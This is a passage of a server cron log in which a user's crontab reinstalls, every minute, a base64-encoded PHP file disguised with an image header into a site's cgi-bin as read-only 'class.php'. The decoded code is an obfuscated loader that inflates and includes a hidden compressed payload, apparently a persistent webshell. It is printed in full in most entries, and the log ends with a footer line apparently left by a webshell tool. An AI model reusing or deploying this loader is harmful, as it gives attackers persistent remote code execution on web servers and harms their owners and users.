ICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:18:01 server CROND[17414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:19:01 server CROND[17483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:20:01 server CROND[17541]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 03:20:01 server CROND[17543]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 03:20:01 server CROND[17544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:20:01 server CROND[17542]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 03:20:01 server CROND[17546]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 13 03:21:01 server CROND[17670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:22:01 server CROND[17747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:23:01 server CROND[17881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:24:01 server CROND[17933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:25:01 server CROND[18011]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 03:25:01 server CROND[18012]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 03:25:01 server CROND[18013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:26:01 server CROND[18128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:26:01 server anacron[15843]: Job `cron.daily' started
Apr 13 03:26:01 server run-parts(/etc/cron.daily)[18132]: starting csget
Apr 13 03:26:01 server run-parts(/etc/cron.daily)[18141]: finished csget
Apr 13 03:26:01 server run-parts(/etc/cron.daily)[18132]: starting logclean
Apr 13 03:26:01 server run-parts(/etc/cron.daily)[18155]: finished logclean
Apr 13 03:26:01 server run-parts(/etc/cron.daily)[18132]: starting logrotate

Youez - 2016 - github.com/yon3zu
LinuXploit